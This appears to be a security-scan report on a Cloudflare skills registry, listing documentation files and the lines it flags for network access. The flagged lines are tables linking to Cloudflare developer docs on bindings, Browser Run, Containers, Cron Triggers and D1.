| Task | Current documentation | | --- | --- | | Access bindings in handlers, entrypoint classes, or imported `env` | [Bindings and environment access](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) | - Network accessline 6
| --- | --- | | Access bindings in handlers, entrypoint classes, or imported `env` | [Bindings and environment access](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) | | Generate environment and runtime types; con - Network accessline 7
| Access bindings in handlers, entrypoint classes, or imported `env` | [Bindings and environment access](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) | - Network accessline 8
| Generate environment and runtime types; configure TypeScript or migrate from `@cloudflare/workers-types` | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 9
| Use framework-specific environment access | [Hono on Workers](https://developers.cloudflare.com/workers/framework-guides/web-apps/more-web-frameworks/hono/index.md) (follow the framework's linked documentation) | - Network accessline 10
| Read, write, delete, and list KV keys | [KV Workers API](https://developers.cloudflare.com/kv/api/index.md) | - Network accessline 11
| Read, write, delete, and list R2 objects | [R2 Workers API](https://developers.cloudflare.com/r2/api/workers/workers-api-reference/index.md) | - Network accessline 12
| Prepare and bind SQL statements or execute batches | [D1 Workers Binding API](https://developers.cloudflare.com/d1/worker-api/index.md) | - Network accessline 13
| Address Durable Objects and call their methods | [Durable Objects API](https://developers.cloudflare.com/durable-objects/api/index.md) | - Network accessline 14
| Send queue messages | [Queues JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md) | - Network accessline 15
| Run model inference | [Workers AI bindings](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) | - Network accessline 16
| Call another Worker using HTTP or typed RPC | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) and [RPC TypeScript](https://developers.cloudflare.com/workers/runtime-apis/rpc/ty - Network accessline 17
| Find other product binding APIs, including Browser, mTLS, rate limiting, and Workflows | [Current binding catalog](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) |
packages/autoskills/skills-registry/cloudflare/references/bindings/configuration.md
- Network accessline 5
| Task | Current documentation | | --- | --- | | Configure storage, compute, platform, and service bindings | [Wrangler binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) | - Network accessline 6
| --- | --- | | Configure storage, compute, platform, and service bindings | [Wrangler binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) | | Create or inspect resources and manage dep - Network accessline 7
| Configure storage, compute, platform, and service bindings | [Wrangler binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) | - Network accessline 8
| Create or inspect resources and manage deployments | [Wrangler commands](https://developers.cloudflare.com/workers/wrangler/commands/index.md) (select the product's commands) | - Network accessline 9
| Configure named environments and non-inheritable bindings | [Wrangler environments](https://developers.cloudflare.com/workers/wrangler/environments/index.md) | - Network accessline 10
| Set non-sensitive configuration | [Environment variables](https://developers.cloudflare.com/workers/configuration/environment-variables/index.md) | - Network accessline 11
| Set or rotate credentials in a chosen environment | [Secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) | - Network accessline 12
| Configure text, data, and Wasm modules in existing projects | [Wrangler bundling](https://developers.cloudflare.com/workers/wrangler/bundling/index.md) and [configuration](https://developers.cloudflare.com/workers/wrangler/configuration/i - Network accessline 13
| Choose locally simulated resources or remote bindings | [Local development](https://developers.cloudflare.com/workers/local-development/index.md) and [supported bindings per development mode](https://developers.cloudflare.com/workers/loca - Network accessline 14
| Supply local variables and secrets | [Local environment variables and secrets](https://developers.cloudflare.com/workers/local-development/environment-variables/index.md) | - Network accessline 15
| Seed or persist local resource data | [Adding local data](https://developers.cloudflare.com/workers/local-development/local-data/index.md) | - Network accessline 16
| Generate types after configuring bindings | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
packages/autoskills/skills-registry/cloudflare/references/bindings/gotchas.md
- Network accessline 5
| Symptom or question | What to check | | --- | --- | | A binding is undefined or points to unexpected data | [Binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) and [environment inher - Network accessline 6
| --- | --- | | A binding is undefined or points to unexpected data | [Binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) and [environment inheritance](https://developers.cloudflare.co - Network accessline 7
| A binding is undefined or points to unexpected data | [Binding configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#bindings) and [environment inheritance](https://developers.cloudflare.com/workers/wran - Network accessline 8
| TypeScript cannot find a binding or runtime type | [Current type generation and TypeScript setup](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 9
| Updated credentials are not reflected in a client | [Binding changes and retained global state](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md#making-changes-to-bindings); verify the [secret's environment and dep - Network accessline 10
| Binding calls fail outside a handler | [Environment access and global-scope restrictions](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md#how-to-access-env) | - Network accessline 11
| A service target is unavailable or incorrect | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) and [multi-Worker development](https://developers.cloudflare.com/workers/local-de - Network accessline 12
| Local data, secrets, or available bindings differ from deployment | [Development mode support](https://developers.cloudflare.com/workers/local-development/bindings-per-env/index.md), [local data](https://developers.cloudflare.com/workers/ - Network accessline 13
| KV reads appear stale or return no value | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md); verify the namespace and handle missing values | - Network accessline 14
| Resource-specific API errors or limits | Follow the product from the [binding catalog](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) to its troubleshooting and limits documentation | - Network accessline 15
| Worker resource limits or unexpected charges | [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/workers/platform/pricing/index.md); check each bound produ - Network accessline 16
| Need to inspect configuration, resources, deployments, or logs | [Wrangler commands](https://developers.cloudflare.com/workers/wrangler/commands/index.md) and [real-time logs](https://developers.cloudflare.com/workers/observability/logs/r
packages/autoskills/skills-registry/cloudflare/references/bindings/patterns.md
- Network accessline 5
| Task | Current documentation | | --- | --- | | Choose HTTP forwarding or RPC between Workers | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) | - Network accessline 6
| --- | --- | | Choose HTTP forwarding or RPC between Workers | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) | | Forward Requests and Responses through a service binding | [Se - Network accessline 7
| Choose HTTP forwarding or RPC between Workers | [Service bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/index.md) | | Forward Requests and Responses through a service binding | [Service bindings - Network accessline 8
| Forward Requests and Responses through a service binding | [Service bindings over HTTP](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/http/index.md) | - Network accessline 9
| Expose callable methods with `WorkerEntrypoint` | [Service bindings over RPC](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/rpc/index.md) and [RPC TypeScript](https://developers.cloudflare.com/workers/ru - Network accessline 10
| Run connected Workers during development | [Developing with multiple Workers](https://developers.cloudflare.com/workers/local-development/multi-workers/index.md) | - Network accessline 11
| Test handlers against configured bindings and mock dependencies | [Workers Vitest configuration](https://developers.cloudflare.com/workers/testing/vitest-integration/configuration/index.md) and [test APIs](https://developers.cloudflare.co - Network accessline 12
| Select KV, D1, R2, or Durable Objects | [Storage options](https://developers.cloudflare.com/workers/platform/storage-options/index.md) | - Network accessline 13
| Keep clients current when bindings change | [Binding lifecycle](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md#making-changes-to-bindings) | - Network accessline 14
| Manage credentials used by external API clients | [Secrets](https://developers.cloudflare.com/workers/configuration/secrets/index.md) |
packages/autoskills/skills-registry/cloudflare/references/browser-rendering/README.md
- Network accessline 3
Use Browser Run for screenshots, PDFs, rendered content extraction, and browser automation. Read the relevant current documentation before implementing; use the [documentation index](https://developers.cloudflare.com/browser-run/llms.txt) t
packages/autoskills/skills-registry/cloudflare/references/browser-rendering/api.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Screenshots, PDFs, HTML, scraping, or structured extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — links to each action's request options - Network accessline 6
|------|---------------| | Screenshots, PDFs, HTML, scraping, or structured extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — links to each action's request options and examples for REST or - Network accessline 7
| Screenshots, PDFs, HTML, scraping, or structured extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — links to each action's request options and examples for REST or Workers bindings | - Network accessline 8
| Automate a browser in Workers with Puppeteer | [Puppeteer](https://developers.cloudflare.com/browser-run/puppeteer/index.md) — Cloudflare package, browser operations, and session APIs | - Network accessline 9
| Automate a browser in Workers with Playwright | [Playwright](https://developers.cloudflare.com/browser-run/playwright/index.md) — Cloudflare package, locators, storage state, and tracing | - Network accessline 10
| Control a remote browser from an external runtime | [CDP](https://developers.cloudflare.com/browser-run/cdp/index.md) — session endpoints and links to Puppeteer, Playwright, and other clients |
packages/autoskills/skills-registry/cloudflare/references/browser-rendering/configuration.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Start a project or configure REST authentication | [Get started](https://developers.cloudflare.com/browser-run/get-started/index.md) — Quick Actions and browser session setup | - Network accessline 6
|------|---------------| | Start a project or configure REST authentication | [Get started](https://developers.cloudflare.com/browser-run/get-started/index.md) — Quick Actions and browser session setup | | Configure a Worker or choose a dev - Network accessline 7
| Start a project or configure REST authentication | [Get started](https://developers.cloudflare.com/browser-run/get-started/index.md) — Quick Actions and browser session setup | - Network accessline 8
| Configure a Worker or choose a development mode | [Wrangler reference](https://developers.cloudflare.com/browser-run/reference/wrangler/index.md) — browser bindings, compatibility requirements, and local/remote development | - Network accessline 9
| Install or update a Workers browser client | [Puppeteer](https://developers.cloudflare.com/browser-run/puppeteer/index.md) or [Playwright](https://developers.cloudflare.com/browser-run/playwright/index.md) — package-specific setup and sup - Network accessline 10
| Connect from a script, server, or CI outside Workers | [CDP](https://developers.cloudflare.com/browser-run/cdp/index.md) — authentication and client integration guides |
packages/autoskills/skills-registry/cloudflare/references/browser-rendering/gotchas.md
- Network accessline 5
| Concern | Documentation | |---------|---------------| | Quotas, launch rates, concurrency, and session timeouts | [Limits](https://developers.cloudflare.com/browser-run/limits/index.md) — check the current plan and integration-specific li - Network accessline 6
|---------|---------------| | Quotas, launch rates, concurrency, and session timeouts | [Limits](https://developers.cloudflare.com/browser-run/limits/index.md) — check the current plan and integration-specific limits | | Browser hours and c - Network accessline 7
| Quotas, launch rates, concurrency, and session timeouts | [Limits](https://developers.cloudflare.com/browser-run/limits/index.md) — check the current plan and integration-specific limits | - Network accessline 8
| Browser hours and concurrent-browser charges | [Pricing](https://developers.cloudflare.com/browser-run/pricing/index.md) — distinguish Quick Actions from browser sessions | - Network accessline 9
| Missing bindings, action failures, or unsupported behavior | [FAQ](https://developers.cloudflare.com/browser-run/faq/index.md) — diagnose the reported error and runtime constraints | | Puppeteer page evaluation cannot access outer variabl - Network accessline 10
| Puppeteer page evaluation cannot access outer variables | [JavaScript execution](https://pptr.dev/guides/javascript-execution) — browser execution context, passing arguments, and returned values | | Block resources or handle intercepted P - Network accessline 11
| Block resources or handle intercepted Puppeteer requests | [Request interception](https://pptr.dev/guides/network-interception) — continue, respond, or abort requests and avoid duplicate handling | - Network accessline 12
| Unexpected disconnects or session loss | [Browser close reasons](https://developers.cloudflare.com/browser-run/reference/browser-close-reasons/index.md) — inspect the recorded close reason before choosing recovery | - Network accessline 13
| Development or compatibility failures | [Wrangler reference](https://developers.cloudflare.com/browser-run/reference/wrangler/index.md) — verify binding configuration and interface-specific development support |
packages/autoskills/skills-registry/cloudflare/references/browser-rendering/patterns.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Implement screenshots, PDFs, or extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — choose the action and follow its example | - Network accessline 6
|------|---------------| | Implement screenshots, PDFs, or extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — choose the action and follow its example | | Build custom interactions | [Puppet - Network accessline 7
| Implement screenshots, PDFs, or extraction | [Quick Actions](https://developers.cloudflare.com/browser-run/quick-actions/index.md) — choose the action and follow its example | | Build custom interactions | [Puppeteer](https://developers.c - Network accessline 8
| Build custom interactions | [Puppeteer](https://developers.cloudflare.com/browser-run/puppeteer/index.md) or [Playwright](https://developers.cloudflare.com/browser-run/playwright/index.md) — browser automation examples | | Reconnect acros - Network accessline 9
| Reconnect across requests | [Reuse sessions](https://developers.cloudflare.com/browser-run/features/reuse-sessions/index.md) — disconnect/reconnect lifecycle and when to use Durable Objects for stateful ownership | - Network accessline 10
| Share browser capacity while isolating users | [Concurrency and session isolation](https://developers.cloudflare.com/browser-run/limits/index.md#how-can-i-manage-concurrency-and-session-isolation-with-browser-run) — tabs, browser contexts - Access to secretsline 12
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare/references/c3/README.md
- Network accessline 42
Fetch the [Workers framework guide](https://developers.cloudflare.com/workers/framework-guides/index.md) for the chosen framework before scaffolding or adapting an existing app. For Next.js, follow [Next.js on Workers](https://developers.cl
packages/autoskills/skills-registry/cloudflare/references/c3/configuration.md
packages/autoskills/skills-registry/cloudflare/references/c3/gotchas.md
packages/autoskills/skills-registry/cloudflare/references/containers/README.md
- Network accessline 7
Use [Containers](https://developers.cloudflare.com/containers/index.md) for existing container images, custom runtimes, system dependencies, full filesystem access, or workloads needing additional CPU and memory. Use [Workers](https://devel - Network accessline 9
Containers are controlled through [Durable Objects](https://developers.cloudflare.com/durable-objects/index.md). An instance's identity does not make its filesystem persistent: design for restarts and store durable data outside the containe - Network accessline 15
| Task | Start here | | --- | --- | | Create a project and deploy the first container | [Get started](https://developers.cloudflare.com/containers/get-started/index.md) | - Network accessline 16
| --- | --- | | Create a project and deploy the first container | [Get started](https://developers.cloudflare.com/containers/get-started/index.md) | | Configure images, bindings, instance sizes, and deployments | [Configuration](configurati - Network accessline 17
| Create a project and deploy the first container | [Get started](https://developers.cloudflare.com/containers/get-started/index.md) | | Configure images, bindings, instance sizes, and deployments | [Configuration](configuration.md) | | Con - Network accessline 23
For additional topics, consult the [Containers documentation index](https://developers.cloudflare.com/containers/llms.txt).
packages/autoskills/skills-registry/cloudflare/references/containers/api.md
- Network accessline 3
Use the [Container interface](https://developers.cloudflare.com/containers/api/container-class/index.md) for the current SDK methods, signatures, properties, and examples. Use the [Durable Object Container API](https://developers.cloudflare - Network accessline 5
| Task | Documentation | | --- | --- | | Forward HTTP or WebSocket requests | [Request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) | - Network accessline 6
| --- | --- | | Forward HTTP or WebSocket requests | [Request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) | | Start a process, wait for ports, stop, or destroy it | [Start and stop](ht - Network accessline 7
| Forward HTTP or WebSocket requests | [Request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) | - Network accessline 8
| Start a process, wait for ports, stop, or destroy it | [Start and stop](https://developers.cloudflare.com/containers/api/container-class/index.md#start-and-stop) | - Network accessline 9
| React to startup, exit, errors, or idle expiry | [Lifecycle hooks](https://developers.cloudflare.com/containers/api/container-class/index.md#lifecycle-hooks) | - Network accessline 10
| Inspect state or keep background work active | [State and monitoring](https://developers.cloudflare.com/containers/api/container-class/index.md#state-and-monitoring) | - Network accessline 11
| Schedule callbacks without replacing the SDK's alarm handler | [Scheduling](https://developers.cloudflare.com/containers/api/container-class/index.md#scheduling) | - Network accessline 12
| Address named instances, select stateless instances, or switch request ports | [Utility functions](https://developers.cloudflare.com/containers/api/container-class/index.md#utility-functions) | - Network accessline 13
| Communicate over TCP from a Durable Object | [TCP port API](https://developers.cloudflare.com/containers/api/durable-object-container/index.md#gettcpport) |
packages/autoskills/skills-registry/cloudflare/references/containers/configuration.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Configure the container image, Durable Object binding, class, migrations, and instance count | [Wrangler Containers configuration](https://developers.cloudflare.com/workers/wrangler/configuration/ind - Network accessline 6
| --- | --- | | Configure the container image, Durable Object binding, class, migrations, and instance count | [Wrangler Containers configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#containers) | | Sel - Network accessline 7
| Configure the container image, Durable Object binding, class, migrations, and instance count | [Wrangler Containers configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#containers) | - Network accessline 8
| Select a predefined size or configure custom CPU, memory, and disk | [Limits and instance types](https://developers.cloudflare.com/containers/platform/limits/index.md) and [custom instance configuration](https://developers.cloudflare.com/ - Network accessline 9
| Set ports, readiness checks, idle timeout, entrypoint, or internet access | [Container properties](https://developers.cloudflare.com/containers/api/container-class/index.md#properties) | - Network accessline 10
| Set runtime variables or pass secrets per instance | [Environment variables](https://developers.cloudflare.com/containers/configuration/environment-variables/index.md) and [environment variables and secrets example](https://developers.clo - Network accessline 11
| Build images or use existing registry images | [Image management](https://developers.cloudflare.com/containers/guides/image-management/index.md) | - Network accessline 12
| Run and iterate locally | [Local development](https://developers.cloudflare.com/containers/guides/local-dev/index.md) | - Network accessline 13
| Deploy from a workstation or Workers Builds | [Deploy Containers](https://developers.cloudflare.com/containers/guides/deploy/index.md) | - Network accessline 14
| Control image updates and replacement of running instances | [Rollouts](https://developers.cloudflare.com/containers/configuration/rollouts/index.md) | - Network accessline 15
| Estimate resource and network costs | [Pricing](https://developers.cloudflare.com/containers/platform/pricing/index.md) |
packages/autoskills/skills-registry/cloudflare/references/containers/gotchas.md
- Network accessline 5
| Symptom or concern | Documentation to read | | --- | --- | | Startup timeout or unavailable port | [Start and stop](https://developers.cloudflare.com/containers/api/container-class/index.md#start-and-stop), [Container properties](https:// - Network accessline 6
| --- | --- | | Startup timeout or unavailable port | [Start and stop](https://developers.cloudflare.com/containers/api/container-class/index.md#start-and-stop), [Container properties](https://developers.cloudflare.com/containers/api/contai - Network accessline 7
| Startup timeout or unavailable port | [Start and stop](https://developers.cloudflare.com/containers/api/container-class/index.md#start-and-stop), [Container properties](https://developers.cloudflare.com/containers/api/container-class/inde - Network accessline 8
| WebSocket forwarding fails | [WebSocket example](https://developers.cloudflare.com/containers/examples/websocket/index.md) and [request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) | - Network accessline 9
| Background work stops on idle expiry | [Activity renewal](https://developers.cloudflare.com/containers/api/container-class/index.md#renewactivitytimeout) and [idle expiry hook](https://developers.cloudflare.com/containers/api/container-cl - Network accessline 10
| Scheduled callbacks do not run | [Scheduling and alarm ownership](https://developers.cloudflare.com/containers/api/container-class/index.md#scheduling) | - Network accessline 11
| Shutdown cleanup or filesystem data loss | [Container shutdown and disk lifecycle](https://developers.cloudflare.com/containers/concepts/architecture/index.md#container-shutdown) | - Network accessline 12
| Out-of-memory errors or resource exhaustion | [FAQ](https://developers.cloudflare.com/containers/faq/index.md) and [limits and instance types](https://developers.cloudflare.com/containers/platform/limits/index.md) | - Network accessline 13
| Instance count exceeded or unexpected request distribution | [Wrangler configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#containers) and [scaling and routing](https://developers.cloudflare.com/contai - Network accessline 14
| Worker and container image versions differ after deployment | [Deployment behavior](https://developers.cloudflare.com/containers/guides/deploy/index.md) and [rollouts](https://developers.cloudflare.com/containers/configuration/rollouts/in - Network accessline 15
| Local behavior differs from deployed behavior | [Local development](https://developers.cloudflare.com/containers/guides/local-dev/index.md) | - Network accessline 16
| Logs, cold starts, or runtime availability questions | [FAQ](https://developers.cloudflare.com/containers/faq/index.md) |
packages/autoskills/skills-registry/cloudflare/references/containers/patterns.md
- Network accessline 3
Choose instance identity based on the workload: per-user/session or per-job identities for affinity, one shared identity for a singleton, and interchangeable instances for stateless requests. Read [scaling and routing](https://developers.cl - Network accessline 5
| Task | Documentation | | --- | --- | | Distribute requests across stateless instances | [Stateless instances example](https://developers.cloudflare.com/containers/examples/stateless/index.md) | - Network accessline 6
| --- | --- | | Distribute requests across stateless instances | [Stateless instances example](https://developers.cloudflare.com/containers/examples/stateless/index.md) | | Forward WebSocket connections | [WebSocket example](https://develop - Network accessline 7
| Distribute requests across stateless instances | [Stateless instances example](https://developers.cloudflare.com/containers/examples/stateless/index.md) | - Network accessline 8
| Forward WebSocket connections | [WebSocket example](https://developers.cloudflare.com/containers/examples/websocket/index.md) | - Network accessline 9
| React to lifecycle changes | [Status hooks example](https://developers.cloudflare.com/containers/examples/status-hooks/index.md) | - Network accessline 10
| Handle shutdown and persist data across restarts | [Container lifecycle](https://developers.cloudflare.com/containers/concepts/architecture/index.md) and [Container interface](https://developers.cloudflare.com/containers/api/container-cla - Network accessline 11
| Keep long operations active or schedule callbacks | [Activity renewal](https://developers.cloudflare.com/containers/api/container-class/index.md#renewactivitytimeout) and [scheduling](https://developers.cloudflare.com/containers/api/conta - Network accessline 12
| Start containers on a cron schedule | [Cron container example](https://developers.cloudflare.com/containers/examples/cron/index.md) | | Route requests to multiple ports | [Request methods](https://developers.cloudflare.com/containers/api/ - Network accessline 13
| Route requests to multiple ports | [Request methods](https://developers.cloudflare.com/containers/api/container-class/index.md#request-methods) and [utility functions](https://developers.cloudflare.com/containers/api/container-class/index - Network accessline 14
| Access Workers bindings from the container | [Connect to Workers and bindings](https://developers.cloudflare.com/containers/configuration/workers-connections/index.md) | - Network accessline 18
For multi-step orchestration, combine the [Workflows Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) with the [Container API](api.md). For queue-driven jobs, read the [Queues consumer API](https://develo
packages/autoskills/skills-registry/cloudflare/references/cron-triggers/README.md
- Network accessline 5
- **Set up a recurring job:** [Cron Triggers](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md) covers scheduling, deployment, and execution history. - Network accessline 6
- **Implement the job:** [Scheduled handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md) covers controller properties, asynchronous work, and multiple schedules. - **Schedule durable work:** [Trigger - Network accessline 7
- **Schedule durable work:** [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) covers direct Workflow schedules and starting instances from a Worker. Check this before introducing a Worker who - Network accessline 8
- **Check capacity:** fetch [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) for the target plan and invocation type.
packages/autoskills/skills-registry/cloudflare/references/cron-triggers/api.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Implement the handler and access the cron expression, scheduled time, bindings, and context | [Scheduled handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md) | - Network accessline 6
| --- | --- | | Implement the handler and access the cron expression, scheduled time, bindings, and context | [Scheduled handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md) | | Route different schedu - Network accessline 7
| Implement the handler and access the cron expression, scheduled time, bindings, and context | [Scheduled handler](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md) | - Network accessline 8
| Route different schedules to different operations | [Handle multiple cron triggers](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md#handle-multiple-cron-triggers) | - Network accessline 9
| Await work and understand how asynchronous failures affect invocation status | [Handler methods](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md#methods) | - Network accessline 10
| Invoke a scheduled handler locally with a chosen expression or time | [Test Cron Triggers locally](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#test-cron-triggers-locally) | - Network accessline 11
| Build tests using runtime-backed controllers and execution contexts | [Workers test APIs](https://developers.cloudflare.com/workers/testing/vitest-integration/test-apis/index.md) | - Network accessline 12
| Start and inspect a Workflow instance | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) |
packages/autoskills/skills-registry/cloudflare/references/cron-triggers/configuration.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Add a handler and configure triggers, including per-environment schedules and deployment propagation | [Add a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index - Network accessline 6
| --- | --- | | Add a handler and configure triggers, including per-environment schedules and deployment propagation | [Add a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#add-a-cron-trigger) | - Network accessline 7
| Add a handler and configure triggers, including per-environment schedules and deployment propagation | [Add a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#add-a-cron-trigger) | - Network accessline 8
| Choose an expression, interpret weekday numbering, or check supported extensions | [Supported cron expressions](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#supported-cron-expressions) | - Network accessline 9
| Remove schedules or distinguish omission from an empty configuration | [Remove a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#remove-a-cron-trigger) | - Network accessline 10
| Configure renewable-energy execution locations | [Green Compute](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#green-compute) | - Network accessline 11
| Check trigger counts and execution budgets | [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) | - Network accessline 12
| Schedule Workflow instances directly | [Schedule a Workflow directly](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md#schedule-a-workflow-directly) |
packages/autoskills/skills-registry/cloudflare/references/cron-triggers/gotchas.md
- Network accessline 5
| Symptom or question | Documentation and check | | --- | --- | | Job runs at an unexpected time | Check [UTC execution](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [expression syntax](http - Network accessline 6
| --- | --- | | Job runs at an unexpected time | Check [UTC execution](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [expression syntax](https://developers.cloudflare.com/workers/configuratio - Network accessline 7
| Job runs at an unexpected time | Check [UTC execution](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [expression syntax](https://developers.cloudflare.com/workers/configuration/cron-trigger - Network accessline 8
| Schedule is missing after deployment | Check the handler, target environment, and propagation guidance in [Add a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#add-a-cron-trigger). | - Network accessline 9
| Removing or preserving schedules has an unexpected result | Review [Remove a Cron Trigger](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#remove-a-cron-trigger) before changing empty or omitted configuratio - Network accessline 10
| Local invocation fails | Follow [Test Cron Triggers locally](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#test-cron-triggers-locally) for the supported endpoint, port, and query parameters. | - Network accessline 11
| Async work fails or completion status is surprising | Read [handler methods](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md#methods) and inspect [past events](https://developers.cloudflare.com/workers/c - Network accessline 12
| Job exceeds its execution budget | Check [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) before choosing a smaller unit of work or [Workflows](../workflows/README.md). | - Network accessline 13
| Green Compute behavior differs from expectations | Read [Green Compute](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#green-compute) for its execution-location policy and account configuration. |
packages/autoskills/skills-registry/cloudflare/references/cron-triggers/patterns.md
- Network accessline 5
| Need | Documentation | | --- | --- | | Periodic API sync, cleanup, reports, or health checks in a Worker | [Cron Triggers background](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [schedule - Network accessline 6
| --- | --- | | Periodic API sync, cleanup, reports, or health checks in a Worker | [Cron Triggers background](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [scheduled handler](https://develo - Network accessline 7
| Periodic API sync, cleanup, reports, or health checks in a Worker | [Cron Triggers background](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#background) and [scheduled handler](https://developers.cloudflar - Network accessline 8
| Different jobs on different schedules | [Handle multiple cron triggers](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/index.md#handle-multiple-cron-triggers) | - Network accessline 9
| Durable multi-step work started on a schedule | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) | - Network accessline 10
| Send work to a queue and implement its consumer | [Queues JavaScript APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/index.md) | - Network accessline 11
| Coordinate state across invocations | [What are Durable Objects?](https://developers.cloudflare.com/durable-objects/concepts/what-are-durable-objects/index.md) | - Network accessline 12
| Inspect whether scheduled work ran | [View past events](https://developers.cloudflare.com/workers/configuration/cron-triggers/index.md#view-past-events) | - Network accessline 16
Use [Workers limits](https://developers.cloudflare.com/workers/platform/limits/index.md) to evaluate whether the job fits one invocation. If it needs durable steps, waiting, or explicit retry boundaries, inspect [Workflows](../workflows/REA
packages/autoskills/skills-registry/cloudflare/references/d1/README.md
- Network accessline 3
Use D1 for managed relational application data with SQLite semantics. For an existing external database, consider [Hyperdrive](../hyperdrive/); for per-entity coordination, consider [Durable Objects](https://developers.cloudflare.com/worker - Network accessline 9
- [Get started](https://developers.cloudflare.com/d1/get-started/index.md): create a database, bind it to a Worker, and run a first query. - Network accessline 15
Check [limits](https://developers.cloudflare.com/d1/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/d1/platform/pricing/index.md) for capacity, allowances, and plan availability; do not infer them from old examples
packages/autoskills/skills-registry/cloudflare/references/d1/api.md
- Network accessline 5
| Task | Current documentation | | --- | --- | | Bind values and choose a query execution method | [Prepared statement methods](https://developers.cloudflare.com/d1/worker-api/prepared-statements/index.md) | - Network accessline 6
| --- | --- | | Bind values and choose a query execution method | [Prepared statement methods](https://developers.cloudflare.com/d1/worker-api/prepared-statements/index.md) | | Execute batches and understand transaction rollback; use databa - Network accessline 7
| Bind values and choose a query execution method | [Prepared statement methods](https://developers.cloudflare.com/d1/worker-api/prepared-statements/index.md) | - Network accessline 8
| Execute batches and understand transaction rollback; use database sessions | [D1 Database API](https://developers.cloudflare.com/d1/worker-api/d1-database/index.md) | - Network accessline 9
